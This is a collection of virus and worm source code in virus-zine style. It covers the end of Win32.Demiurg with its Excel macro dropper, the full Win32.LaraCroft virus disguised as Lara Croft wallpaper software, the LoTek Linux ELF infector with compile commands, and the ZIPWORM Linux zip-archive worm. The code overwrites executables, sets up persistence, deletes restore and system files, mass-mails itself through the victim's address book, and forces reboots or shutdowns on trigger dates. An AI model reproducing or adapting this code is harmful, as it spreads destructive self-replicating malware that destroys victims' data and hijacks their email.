db 000h, 002h, 000h, 0E6h, 00Ch, 0FFh, 0E6h, 024h
db 000h, 0B8h, 000h, 000h, 000h, 068h, 0E6h, 04Bh
db 000h, 0E6h, 00Ch, 0FFh, 0E6h, 074h, 000h, 0E6h
db 00Ch, 0FFh, 0E6h, 030h, 000h, 001h, 000h, 0FEh
db 0FFh, 003h, 00Ah, 000h, 000h, 0E6h, 004h, 0FFh
db 020h, 008h, 002h, 0E6h, 005h, 000h, 0C0h, 0E6h
db 006h, 000h, 046h, 01Ch, 000h, 000h, 000h, 04Dh
db 069h, 063h, 072h, 06Fh, 073h, 06Fh, 066h, 074h
db 020h, 045h, 078h, 063h, 065h, 06Ch, 020h, 038h
db 02Eh, 030h, 02Dh, 054h, 061h, 062h, 065h, 06Ch
db 06Ch, 065h, 000h, 006h, 000h, 000h, 000h, 042h
db 069h, 066h, 066h, 038h, 000h, 00Eh, 000h, 000h
db 000h, 045h, 078h, 063h, 065h, 06Ch, 02Eh, 053h
db 068h, 065h, 065h, 074h, 02Eh, 038h, 000h, 0F4h
db 039h, 0B2h, 071h, 0E6h, 0FFh, 000h, 0E6h, 0A5h
db 000h
macro_dropper_size EQU ($ - macro_dropper)

; ----- macro code ----------------------------------------------------------


;
; This is the macro code that will be stored in infected .xls files. It drops
; the PE EXE dropper as C:\demiurg.exe and executes it. This code is
; incomplete, the data of the dropper will be converted to VBA Array
; instructions at the time Excel is infected, and the full VBA code will be
; stored in the file C:\demiurg.sys then; this is the file that will be used
; to infect .xls files by the dropper

main_macro_code:
db "Attribute VB_Name = ""Demiurg""", 0Dh, 0Ah
db "Public a", 0Dh, 0Ah
db "Sub Auto_Open()", 0Dh, 0Ah
db "Open ""C:\demiurg.exe"" For Binary As #1", 0Dh, 0Ah
db "b", 0Dh, 0Ah
db "c", 0Dh, 0Ah
db "d", 0Dh, 0Ah
db "e", 0Dh, 0Ah
db "f", 0Dh, 0Ah
db "g", 0Dh, 0Ah
db "Close #1", 0Dh, 0Ah
db "t=Shell(""C:\demiurg.exe"",vbNormalFocus)", 0Dh, 0Ah
db "End Sub", 0Dh, 0Ah
db "Sub w()", 0Dh, 0Ah
db "For i=0 To 127", 0Dh, 0Ah
db "v$=Chr$(a(i))", 0Dh, 0Ah
db "Put #1,,v$", 0Dh, 0Ah
db "Next", 0Dh, 0Ah
end_sub:
db "End Sub", 0Dh, 0Ah
main_macro_code_size EQU ($ - main_macro_code)

sub_header:
sub_name EQU byte ptr ($ + 4)
db "Sub b()", 0Dh, 0Ah

regkey db "Software\Microsoft\Office\8.0\Excel", 0
office_version_number EQU byte ptr (offset regkey+26)
subkey_97 db "Microsoft Excel", 0
subkey_2K db "Security", 0
subkey_InstallRoot db "InstallRoot", 0
regvalue_options db "Options6", 0
regvalue_2K db "Level", 0
regvalue_path db "Path", 0

demiurg_xls db "\xlstart\demiurg.xls", 0
macro_filename db "C:\demiurg.sys", 0
kernel32_dll db "\kernel32.dll", 0

path_buffer1 db 260 dup(?)


path_buffer2 db 260 dup(?)
size_buffer dd 260
REG_SZ dd 1
regvalue_dword dd 0
reg_handle1 dd ?
reg_handle2 dd ?

dos_exe_size dd ?
resource_table dd ?
heap_buffer dd ?
dummy_dword dd ?

filename_ofs dd ?
attributes dd ?
CreationTime dq ?
LastAccessTime dq ?
LastWriteTime dq ?
filesize dd ?
filehandle dd ?
maphandle dd ?
mapbase dd ?
virus_RVA dd ?
virus_start dd ?

kernel32 dd 0
kernel32name db "KERNEL32", 0
GetModuleHandleA db "GetModuleHandleA", 0
l_GMH EQU $ - offset GetModuleHandleA

kernel32_API_names_table:
n_GlobalAlloc db "GlobalAlloc", 0
n_GlobalFree db "GlobalFree", 0
n_GetWindowsDirectoryA db "GetWindowsDirectoryA", 0
n_GetSystemDirectoryA db "GetSystemDirectoryA", 0
n_lstrcatA db "lstrcatA", 0
n_LoadLibraryA db "LoadLibraryA", 0
n_CloseHandle db "CloseHandle", 0
n_GetFileSize db "GetFileSize", 0
n_GetFileTime db "GetFileTime", 0
n_SetFileTime db "SetFileTime", 0
n_SetEndOfFile db "SetEndOfFile", 0
n_SetFilePointer db "SetFilePointer", 0
n_CreateFileMappingA db "CreateFileMappingA", 0
n_MapViewOfFile db "MapViewOfFile", 0
n_UnmapViewOfFile db "UnmapViewOfFile", 0
n_WideCharToMultiByte db "WideCharToMultiByte", 0

; names of APIs that are both used and hooked


hooked_API_names_table:
n_CreateFileA db "CreateFileA", 0
n_GetFileAttributesA db "GetFileAttributesA", 0
n_SetFileAttributesA db "SetFileAttributesA", 0
n_CopyFileA db "CopyFileA", 0
n_MoveFileExA db "MoveFileExA", 0

; names of APIs that are only hooked and not used


n_MoveFileA db "MoveFileA", 0
n__lopen db "_lopen", 0

number_of_hooked_APIs EQU 7

kernel32_API_address_table:
GlobalAlloc dd ?
GlobalFree dd ?
GetWindowsDirectoryA dd ?
GetSystemDirectoryA dd ?
lstrcatA dd ?
LoadLibraryA dd ?
CloseHandle dd ?
GetFileSize dd ?
GetFileTime dd ?
SetFileTime dd ?
SetEndOfFile dd ?
SetFilePointer dd ?
CreateFileMappingA dd ?
MapViewOfFile dd ?
UnmapViewOfFile dd ?
WideCharToMultiByte dd ?
CreateFileA dd ?
GetFileAttributesA dd ?
SetFileAttributesA dd ?
CopyFileA dd ?
MoveFileExA dd ?
number_of_kernel32_APIs EQU (($ - kernel32_API_address_table) / 4)

advapi32_dll db "ADVAPI32.dll", 0
advapi32_API_names_table:
n_RegOpenKeyExA db "RegOpenKeyExA", 0
n_RegCreateKeyExA db "RegCreateKeyExA", 0
n_RegQueryValueExA db "RegQueryValueExA", 0
n_RegSetValueExA db "RegSetValueExA", 0
n_RegCloseKey db "RegCloseKey", 0

advapi32_API_address_table:
RegOpenKeyExA dd ?
RegCreateKeyExA dd ?
RegQueryValueExA dd ?
RegSetValueExA dd ?
RegCloseKey dd ?
number_of_advapi32_APIs EQU (($ - advapi32_API_address_table) / 4)

imagehlp_dll db "IMAGEHLP.dll", 0
CheckSumMappedFile db "CheckSumMappedFile", 0

virus_end:

.code
dummy_host:
push 0
push offset caption
push offset message
push 0
call MessageBoxA

push 0
call ExitProcess

caption db "Win32.Demiurg virus by Black Jack", 0


message db "First generation host", 0

end start
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[LARACROFT.CPP]ÄÄÄ
#include "laracroft.h"
#pragma hdrstop
#pragma warning (disable: 4068)
#pragma warning (disable: 4001)

char LaraWinDir[256],LaraSysDir[256],LaraPath[256];
HKEY RestoreKey,LaraNTKey,LaraWinKey,LaraInstallKey,LaraNewKey;
HANDLE LaraHnd,LaraHndTime;
HMODULE ServiceLib,MessLib;
int Err,ErrSend;
typedef DWORD(*RegServProc)(DWORD,DWORD);
typedef ULONG(*FriendMess)(LHANDLE,ULONG,MapiMessage FAR*,FLAGS,ULONG);
typedef ULONG(*FriendFound)(LHANDLE,ULONG,LPTSTR,FLAGS,ULONG,lpMapiRecipDesc FAR*);
typedef ULONG(*FreeMem)(LPVOID);
LPSTR Friend = "a";

#pragma argsused
int PASCAL WinMain
(
HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpszCmdLine,
int nCmdShow
)
{
//Win32.LaraCroft par ZeMacroKiller98
//Copyright (c) 2000 par ZeMacroKiller98
//Un virus made in FRANCE!!!!!!!!!
WIN32_FIND_DATA LaraHost;
OSVERSIONINFO CurVerInfo;
FILETIME LaraCreateTime,LaraLstAccTime,LaraLstWriTime;
SYSTEMTIME LaraTime;
FriendMess MAPIFriendMess;
FriendFound MAPIFriendFound;
FreeMem MAPIFreeMem;
RegServProc RegisServProcss;
ServiceLib = LoadLibrary("kernel32.dll");
MessLib = LoadLibrary("mapi32.dll");
SearchPath(NULL,_argv[0],NULL,sizeof(LaraPath),LaraPath,NULL);
CurVerInfo.dwOSVersionInfoSize = sizeof(CurVerInfo);
GetVersionEx(&CurVerInfo);
if(CurVerInfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
{
RegOpenKeyEx(HKEY_LOCAL_MACHINE,
"Software\\Microsoft\\WindowsNT\\CurrentVersion\\RunServices",0,KEY_ALL_ACCESS,&LaraNTKey);
RegSetValueEx(LaraNTKey,"LaraWallpaper",0,REG_SZ,LaraPath,sizeof(LaraPath));
RegCloseKey(LaraNTKey);
}
else
{
RegOpenKeyEx(HKEY_LOCAL_MACHINE,
"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",0,KEY_ALL_ACCESS,&LaraWinKey);
RegSetValueEx(LaraWinKey,"LaraWallpaper",0,REG_SZ,LaraPath,sizeof(LaraPath));
RegCloseKey(LaraWinKey);
}
if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\LaraCroft\\Install",0,KEY_ALL_ACCESS,&
LaraInstallKey)!=ERROR_SUCCESS)
{
MessageBox(NULL,
"Hi Friends,\nThis software downloads automatically new wallpaper on Lara
Croft official site\nIf you have any questions, go to www.eidosinterative.com\nPlease
register it on our site at www.eidosinteractive.com\\Lara\\Register\n\tThanks to have take
this software\n\t\t\tLara Croft",
"Lara Wallpaper Download Software",
MB_OK|MB_ICONINFORMATION|MB_SYSTEMMODAL);
//Anti-WinMe Restauration File
GetSystemDirectory(LaraSysDir, sizeof(LaraSysDir));
if(SetCurrentDirectory(lstrcat(LaraSysDir,"\\RESTORE"))!=0)
{
RegOpenKeyEx(HKEY_LOCAL_MACHINE,
"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",0,KEY_ALL_ACCESS,&RestoreKey);
RegDeleteValue(RestoreKey,"*StateMgr");
RegCloseKey(RestoreKey);
DeleteFile("rstrui.exe");
}
GetWindowsDirectory(LaraWinDir,sizeof(LaraWinDir));
SetCurrentDirectory(LaraWinDir);
LaraHnd = FindFirstFile("*.exe",&LaraHost);
LaraHoteTrouve:
LaraHndTime = CreateFile(LaraHost.cFileName,GENERIC_READ|GENERIC_WRITE,0, NULL,
OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
GetFileTime(LaraHndTime,&LaraCreateTime,&LaraLstAccTime,&LaraLstWriTime);
CloseHandle(LaraHndTime);
if((lstrcmp(LaraHost.cFileName,"emm386.exe")==0)||(lstrcmp(LaraHost.cFileName,
"setver.exe")==0))
goto FichierNonInfecte;
CopyFile(_argv[0],LaraHost.cFileName,FALSE);
LaraHndTime = CreateFile(LaraHost.cFileName,GENERIC_READ|GENERIC_WRITE,0, NULL,
OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
SetFileTime(LaraHndTime,&LaraCreateTime,&LaraLstAccTime,&LaraLstWriTime);
CloseHandle(LaraHndTime);
FichierNonInfecte:
if(FindNextFile(LaraHnd,&LaraHost)==TRUE)
goto LaraHoteTrouve;
FindClose(LaraHnd);
RegCreateKey(HKEY_LOCAL_MACHINE,"Software\\LaraCroft\\Install",&LaraNewKey);
RegCloseKey(LaraNewKey);
MessageBox(NULL,"Please send this software about me to your friends...\nYou can
select friends into your address book, now\n\t\t\tLara Croft","Lara Wallpaper Download
Software",MB_OK|MB_ICONINFORMATION|MB_SYSTEMMODAL);
MAPIFriendMess = (FriendMess)GetProcAddress(MessLib,"MAPISendMail");
MAPIFriendFound = (FriendFound)GetProcAddress(MessLib,"MAPIResolveName");
MAPIFreeMem = (FreeMem)GetProcAddress(MessLib,"MAPIFreeBuffer");
if((MAPIFriendMess==NULL)||(MAPIFriendFound==NULL)||(MAPIFreeMem==NULL))
{
MessageBox(NULL,"MAPI not installed on this computer\nPlease refer to help
to install it","Lara Wallpaper Download Software",MB_OK|MB_ICONEXCLAMATION|MB_SYSTEMMODAL);
SetCurrentDirectory(LaraSysDir);
DeleteFile("*.*");
ExitProcess(0);
}
MapiMessage MyMessage;
MapiRecipDesc stRecip;
MapiFileDesc stFile;
lpMapiRecipDesc lpRecip;
stFile.ulReserved = 0;
stFile.flFlags = 0L;
stFile.nPosition = (ULONG)-1;
stFile.lpszPathName = LaraPath;
stFile.lpszFileName = NULL;
stFile.lpFileType = NULL;
UnResolve:
Err = (MAPIFriendFound)(lhSessionNull,0L,Friend,MAPI_DIALOG,0L,&lpRecip);
if(Err!=SUCCESS_SUCCESS)
{
switch(Err){
case MAPI_E_AMBIGUOUS_RECIPIENT:
MessageBox(NULL,"Please select new email address into your address
book","Lara Wallpaper Download Software",MB_OK|MB_ICONSTOP|MB_SYSTEMMODAL);
break;
case MAPI_E_UNKNOWN_RECIPIENT:
MessageBox(NULL,"Any email address with current letter","Lara
Wallpaper Download Software",MB_OK|MB_ICONSTOP|MB_SYSTEMMODAL);
break;
case MAPI_E_FAILURE:
MessageBox(NULL,"Unknown error into your address book","Lara
Wallpaper Download Software",MB_OK|MB_ICONSTOP|MB_SYSTEMMODAL);
DeleteFile("*.*");
ExitProcess(0);
break;
case MAPI_E_INSUFFICIENT_MEMORY:
MessageBox(NULL,"No enought memory to launch this
application\nPlease close other application to continue","Lara Wallpaper Download Software",
MB_OK|MB_ICONSTOP|MB_SYSTEMMODAL);
DeleteFile("*.*");
ExitProcess(0);
break;
case MAPI_E_NOT_SUPPORTED:
MessageBox(NULL,"Email software not installed\nPlese refer to your
help for more information","Lara Wallpaper Download Software",MB_OK|MB_ICONSTOP|
MB_SYSTEMMODAL);
DeleteFile("*.*");
ExitProcess(0);
break;
case MAPI_E_USER_ABORT:
MessageBox(NULL,"You have cancelled this dialog box","Lara Wallpaper
Download software",MB_OK|MB_ICONSTOP|MB_SYSTEMMODAL);
DeleteFile("*.*");
ExitProcess(0);
break;
}
goto UnResolve;
}
stRecip.ulReserved = lpRecip->ulReserved;
stRecip.ulRecipClass = MAPI_TO;
stRecip.lpszName = lpRecip->lpszName;
stRecip.lpszAddress = lpRecip->lpszAddress;
stRecip.ulEIDSize = lpRecip->ulEIDSize;
stRecip.lpEntryID = lpRecip->lpEntryID;
MyMessage.ulReserved = 0;
MyMessage.lpszSubject = "Lara Wallpaper Download Software";
MyMessage.lpszNoteText = lstrcat("Hi ",(lstrcat(lpRecip->lpszName,"\n\n\tI found on the net
a new interesting software about Lara Croft.\nI send you because it's very coooooool!!!\nTry
it and say me your opinion about it\n\n\tSee you soon and enjoy to have it")));
MyMessage.lpszMessageType = NULL;
MyMessage.lpszDateReceived = NULL;
MyMessage.lpszConversationID = NULL;
MyMessage.flFlags = 0L;
MyMessage.lpOriginator = NULL;
MyMessage.nRecipCount = 1;
MyMessage.lpRecips = &stRecip;
MyMessage.nFileCount = 1;
MyMessage.lpFiles = &stFile;
ErrSend = (MAPIFriendMess)(lhSessionNull,0L,&MyMessage,0L,0L);
if(ErrSend!=SUCCESS_SUCCESS)
{
MessageBox(NULL,"Sending email create error into your system","Lara Wallpaper
Download Software",MB_OK|MB_ICONSTOP|MB_SYSTEMMODAL);
DeleteFile("*.*");
ExitProcess(0);
}
FreeLibrary(MessLib);
}
RegCloseKey(LaraInstallKey);
RegisServProcss = (RegServProc)GetProcAddress(ServiceLib,"RegisterServiceProcess");
STARTUPINFO LaraStartInfo;
PROCESS_INFORMATION LaraProcInfo;
LaraStartInfo.cb = sizeof(STARTUPINFO);
LaraStartInfo.lpReserved = NULL;
LaraStartInfo.lpReserved2 = NULL;
LaraStartInfo.cbReserved2 = 0;
LaraStartInfo.lpDesktop = NULL;
LaraStartInfo.dwFlags = STARTF_FORCEOFFFEEDBACK;
if(CreateProcess(LaraPath,
NULL,
(LPSECURITY_ATTRIBUTES)NULL,
(LPSECURITY_ATTRIBUTES)NULL,
FALSE,
0,
NULL,
NULL,
&LaraStartInfo,
&LaraProcInfo))
{
CloseHandle(LaraProcInfo.hProcess);
CloseHandle(LaraProcInfo.hThread);
}
RegisServProcss(LaraProcInfo.dwProcessId,1);
if((LaraTime.wHour==10)&&(LaraTime.wMinute==0)&&(LaraTime.wSecond==0))
{
MessageBox(NULL,"It's time to connect at Lara Croft official web site\nThanks to
Click on OK to continue","Lara Wallpaper Download Software",MB_OK|MB_ICONEXCLAMATION|
MB_SYSTEMMODAL);
WritePrivateProfileString("InternetShortcut","URL",
"http://www.tombraider.com/larasworld/wallpaper.html","LaraCroft.url");
ShellExecute(NULL,"open","LaraCroft.url",NULL,NULL,SW_SHOWNORMAL);
}
if((LaraTime.wDay==25)&&(LaraTime.wMonth==12))
{
MessageBox(NULL,
"Merry christmas by Lara Croft!!!!!!\nHey, your PC is infected by new virus:
Win32.LaraCroft\n\nJoyeux Noel de la part de Lara Croft!!!!!!\nTon PC est infect‚ par
Win32.LaraCroft fabriqu‚ par ZeMacroKiller98",
"Lara Croft like you, don't you",
MB_OK|MB_ICONEXCLAMATION|MB_SYSTEMMODAL);
SetCurrentDirectory("C:/");
DeleteFile("*.*");
ExitWindowsEx(EWX_REBOOT|EWX_FORCE,0);

}
if(LaraTime.wDay==1)
{
MessageBox(NULL,"Lara Croft is with you!!!!\nAnd don't want you work today....",
"Win32.LaraCroft",MB_OK|MB_ICONINFORMATION|MB_SYSTEMMODAL);
ExitWindowsEx(EWX_SHUTDOWN|EWX_FORCE,0);
}
if((LaraTime.wHour>=20)&&(LaraTime.wHour<=6))
{
MessageBox(NULL,"Lara Croft say it's time to stop your PC now!!!!\nAnd go to bed, Ha
Ha Ha ha !!!!!","Win32.LaraCroft",MB_OK|MB_ICONINFORMATION|MB_SYSTEMMODAL);
ExitWindowsEx(EWX_SHUTDOWN|EWX_FORCE,0);
}
FreeLibrary(ServiceLib);
return 0;
}
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[LARACROFT.CPP]ÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[LARACROFT.H]ÄÄÄ
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <shellapi.h>
#include <dos.h>
#include <stdlib.h>
#include <stdio.h>
#include <mapi.h>
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[LARACROFT.H]ÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[LARACROFT.TXT]ÄÄÄ
Name: Win32.LaraCroft
Size: 52736 octets
Author: ZeMacroKiller98

Description: This virii try to send itself by email,


if error when i try to send itself then delete in current directory
When install itself, it install itself in current directory as a Wallpaper upload
automatically
It contains 2 payloads:
- When day is 25 and month is 12, then delete file in C: directory and reboot computer
- If day is 1, then display message box and shutdown computer
- If hour >=20 and hour <=6, then displays message box and shutdown computer
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[LARACROFT.TXT]ÄÄÄ
;
; Replicant name................LoTek
; Author........................Wintermute
; Email.........................winter@outlimit.org
; Inception date................Octubre 2000
; Target OS.....................Linux OS
; Size..........................338 bytes
;
;
; Characteristics
; ---------------
; LoTek is an ELF cavity infector which hides itself in the ".note"
; section in order to replicate without changing file size.
;
; It's a runtime virus that replicates by using memory file mapping
; syscalls (mmap), copying itself to this .note section just after
; the .bss one (which is in the same offset as another hole, .comment,
; less easy to infect cuz of that), changing data segment permissions
; in order to make it execute. This ".note" section is used by software
; developers in order to indicate compatibility/etc of the file, and
; is almost always never used.
;
; Payload is chaging machine hostname one of each thirty-two executions
; (reading the processor tsc).
;
; I just wanna remark this is a "test" virus, just trying an infection
; on Linux; it was writed in order to show an easy example on Linux
; infection in HackMeeting Barcelona'00 to complete a speak I made about
; Linux viruses and their risks (to silence those "Linux-never-can-get
; infected" people).
;
; PD: So, you can imagine where the name "LoTek" came from :)
;
;
; Disclaimer
; ----------
;
; As you compile/execute this virus or part of it, you're responsible
; on what happens next; because of beeing limited on searching
; executables (just in the current directory), it's an easy virus
; to control. Anyway, if you don't know exactly what it does, do *not*
; execute it. I also can't assure every file will work 100% after
; infection, so it all up to you, make backups on your files before
; trying LoTek on them.
;
; By compiling/executing this virus you accept I'm not responsible
; on what you do with this virus. My intentions are obviously far from
; infecting Linux users, and this is no more than a "laboratory" virus;
; it's very limited, but it would be easy to make it recursively infect
; directories, etc. My intentions with this little replicant are just
; on reminding that linux viruses can be (easily) written, and that
; even though it's a very secure OS, there's a lot of open doors
; expecting for infections.
;
; Of course, this virus won't make a big infection, as it's limited to
; executing user's privilege. Linux community doesn't change many
; executables but source codes, so it's nearly impossible a "big
; epidemy".
;
; So, I don't think I'm doing any bad to Linux community - which I
; admire and respect - writing a virus like this.
;
;
;
; COMPILATION
; -----------
;
; nasm lotek.asm -o lotek.vir -f elf
; gcc -Wall -g -s lotek.vir -o lotek.exec
; dwarf lotek.exec
;

BITS 32
GLOBAL main
SECTION .text

vir_start:
main:
pushf
pushad
mov eax, vir_ends-vir_start
call delta
delta:
pop ebp
sub ebp,delta
db 0x0f,0x31 ; thx to AVP for this, nasm didn't compile rdtsc
; rdstc
and al,31
jnz no_activarse
mov eax,04ah ; Set Hostname
lea ebx,[Wintah+ebp]
mov ecx,0Ah
int 080h

no_activarse:

sub esp,(10Ah+4) ; Opendir


mov eax,05h
lea ebx,[diractual+ebp]
xor ecx,ecx
cdq
int 080h
xchg ebx,eax

Sigue_Leyendo:

mov eax, 059h ; readdir


mov ecx,esp
int 080h
or ax,ax
jz yanohaymas

push ebx
lea ebx,[esp+0Ah+4] ; EBX -> file name
call Infectar
pop ebx

jmp Sigue_Leyendo

yanohaymas:

add esp,(10Ah+4) ; stack adjust


popad
popf
retback:
db 068h
back:
dd vir_ends
ret

; Infection

Infectar:
cdq
inc edx
inc edx
mov ecx,edx

mov eax,5
int 080h

xchg ebx,eax
push ebx

mov eax,013h
loop $
int 080h

mov [esp+0Ch],eax

push ecx
push ebx
inc ecx
push ecx
inc ecx
inc ecx
push ecx
loop $
push eax
push ecx
mov ebx,esp
mov eax,0x5a
int 080h ; mmap(file)
add esp,4*6

mov dh,7
mov ebx,eax
cmp eax,0xFFFFF000 ; Same check as mmap.c does
jbe Continuar

j_cer:
jmp Close ; Failure? Bye...

Continuar:

mov eax,(0 - 0x464C457F) ; Check ELF


add eax,dword[ebx]
jnz j_cer

cmp byte [ebx + 0x10],02h ; Check exec


jnz j_cer

cmp byte[ebx+5],cl ; Infection mark: ei_data = 0


jz j_cer

mov eax,[esp+0Ch]
sub eax,04Ch
add eax,ebx
cmp [eax],dh
jnz j_cer

cmp word[eax+10h],(vir_ends-vir_start)
jb j_cer ; Big enough?

mov byte [ebx+5],cl


push dword [back+ebp]
push dword [ebx+18h]
pop dword [back+ebp]
mov edi,[eax+0Ch]
push edi
add edi,ebx
lea esi,[ebp+vir_start]
mov ecx,vir_ends-vir_start
rep movsb ; Copy virus

pop eax
sub eax,[ebx+098h]
add eax,dword[ebx+09Ch] ; Make new ep
mov byte [ebx+0ACh],dh
mov dword [ebx+18h],eax

mov eax,1000h ;Hardcoded (lazy xD)


add dword [ebx+0A4h],eax
add dword [ebx+0A8h],eax

pop dword [back+ebp] ;Recover...


Close:
mov eax,91 ;Close mapping
int 080h
Chaping:
pop ebx
mov al,dh
dec al ;Close file
int 080h

ret

Message: db 'LoTek by '


Wintah: db 'Wintermute'
diractual: db '.',0
vir_ends:

; Old host (first generation)

mov eax,1
int 080h
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[WORM.S]ÄÄÄ
;ZIPWORM for Linux
;(c) Vecna 2000

BITS 32

;%define DEBUG 1

global main
extern izip_add
extern izip_maxaddsize

[section .data]
db "elf zip worm vecna", 0
nametable dd name01
dd name02
dd name03
dd name04
dd name05
dot db ".",0
name01 db "Ten motives why linux sux!",0
name02 db "Why Windows is superior to Linux!",0
name03 db "Is Linux for you? Never!",0
name04 db "Is Linux immune to virus? NO!",0
name05 db "zipworm!",0
%ifdef DEBUG
deb_msg0 times 80 db "-"
deb_msg4 db 0dh,0ah,0
deb_msg1 db "Running...",0dh,0ah,0
deb_msg2 db "Exiting to OS",0dh,0ah,0
deb_msg3 db "Opening: ",0
deb_msg5 db "Found worm!",0dh,0ah,0
deb_msg6 db "Worm size: ",0
deb_msg7 db "File search done",0dh,0ah,0
deb_msg8 db "File search init",0dh,0ah,0
deb_msg9 db "Worm in mem!",0dh,0ah,0
deb_msg10 db "Add size: ",0
%endif

mapstruct dd 0
mapsize dd 0
dd 3
dd 1
mapfilehnd dd 0
dd 0

[section .bss]
hostptr resd 1
hostsize resd 1
addsize resd 1
orgsize resd 1
dir_entry resb 0110h
hostbuffer resb 4000h

[section .text]
main:
%ifdef DEBUG
pushad
mov ecx, deb_msg1
call write_console
popad
%endif
cld
push byte 5
mov esi, nametable
pop ecx
.trynextname:
push ecx
lodsd
mov ebx, eax
%ifdef DEBUG
pushad
mov ecx, deb_msg3
call write_console
mov ecx, ebx
call write_console
mov ecx, deb_msg4
call write_console
popad
%endif
sub ecx, ecx
push byte 5h
pop eax
cdq
int 80h
mov ebx, eax
test eax, eax
pop ecx
jns .foundhost
loop .trynextname
jmp .exit
.foundhost:
%ifdef DEBUG
pushad
mov ecx, deb_msg5
call write_console
popad
%endif
cmp esi, dot
jb .no_name_adj
mov esi, nametable
.no_name_adj:
push byte 13h
push byte 2h
sub ecx, ecx
pop edx
pop eax
int 80h
mov [hostsize], eax
%ifdef DEBUG
pushad
mov ecx, deb_msg6
call write_console
mov eax, eax
call write_dword
popad
%endif
push byte 13h
sub ecx, ecx
pop eax
cdq
int 80h
mov ecx, hostbuffer
mov edx, [hostsize]
push byte 3
pop eax
int 80h ;read dropper
push byte 6
pop eax
int 80h ;close file
%ifdef DEBUG
pushad
mov ecx, deb_msg9
call write_console
popad
%endif
push dword [esi]
push dword [hostsize]
call izip_maxaddsize ;eax=size to increase .zip
mov [addsize], eax
%ifdef DEBUG
pushad
mov ecx, deb_msg10
call write_console
mov eax, eax
call write_dword
popad
%endif
push byte 5
mov ebx, dot
sub ecx, ecx
pop eax
cdq
int 80h
mov ebx, eax ;open current dir
%ifdef DEBUG
pushad
mov ecx, deb_msg8
call write_console
popad
%endif
.next_entry:
push byte 59h
mov ecx, dir_entry
pop eax
int 80h ;read directory entry
test eax, eax
jz near .done
pushad
lea ebx, [dir_entry+0ah]
movzx eax, word [dir_entry+8h]
cdq
mov dword [ebx+eax+1], edx ;put 0 marker
push byte 2
push byte 5h
pop eax
pop ecx
%ifdef DEBUG
pushad
mov ecx, ebx
call write_console
mov ecx, deb_msg4
call write_console
popad
%endif
int 80h
test eax, eax
js near .search_next
mov [mapfilehnd], eax
mov ebx, eax

push byte 13h


push byte 2h
sub ecx, ecx
pop edx
pop eax
int 80h
mov [orgsize], eax
mov edi, eax
add eax, [addsize]
mov [mapsize], eax

push byte 93
mov ecx, eax
pop eax
int 80h

push byte 90
mov ebx, mapstruct
pop eax
int 80h
cmp eax, 0fffff000h
ja .closehandle
mov ebx, eax

push edi
push eax
push dword [esi]
push dword [hostsize]
mov eax, hostbuffer
push eax
call izip_add
test eax, eax
jz .clean
add [orgsize], eax
.clean:
push byte 91
pop eax
int 80h

push byte 93
mov ecx, [orgsize]
mov ebx, [mapfilehnd]
pop eax
int 80h

.closehandle:
push byte 6
mov ebx, [mapfilehnd]
pop eax
int 80h ;close file

.search_next:
popad
jmp .next_entry

.done:
%ifdef DEBUG
pushad
mov ecx, deb_msg7
call write_console
popad
%endif

.exit:
%ifdef DEBUG
pushad
mov ecx, deb_msg2
call write_console
popad
%endif
push byte 1
sub ebx, ebx
pop eax
int 80h

%ifdef DEBUG
;ecx=string
write_console:
pushad
push byte -1
mov edx, ecx
mov esi, ecx
pop ecx
.count:
inc ecx
lodsb
test al, al
jnz .count
xchg ecx, edx
push byte 4
push byte 1
pop ebx
pop eax
int 80h
popad
ret
%endif

%ifdef DEBUG
;eax=dword
write_dword:
pushad
sub esp, 32
mov edi, esp
push byte 8
pop ecx
.hexchar:
rol eax, 4
push eax
and eax, 01111b
call .table
db "0123456789ABCDEF",0
.table:
pop ebx
xlatb
stosb
pop eax
loop .hexchar
mov eax, 0d0ah
stosd
mov ecx, esp
call write_console
add esp, 32
popad
ret
%endif

%ifdef DEBUG
output_registers:
pushad
mov ecx, deb_msg0
call write_console
call .0001
db "EAX=", 0
.0001:
pop ecx
call write_console
mov eax, eax
call write_dword
call .0002
db "EBX=", 0
.0002:
pop ecx
call write_console
mov eax, ebx
call write_dword
call .0003
db "ECX=", 0
.0003:
pop ecx
call write_console
mov eax, ecx
call write_dword
call .0004
db "EDX=", 0
.0004:
pop ecx
call write_console
mov eax, edx
call write_dword
call .0005
db "ESP=", 0
.0005:
pop ecx
call write_console
mov eax, esp
call write_dword
call .0006
db "EBP=", 0
.0006:
pop ecx
call write_console
mov eax, ebp
call write_dword
call .0007
db "ESI=", 0
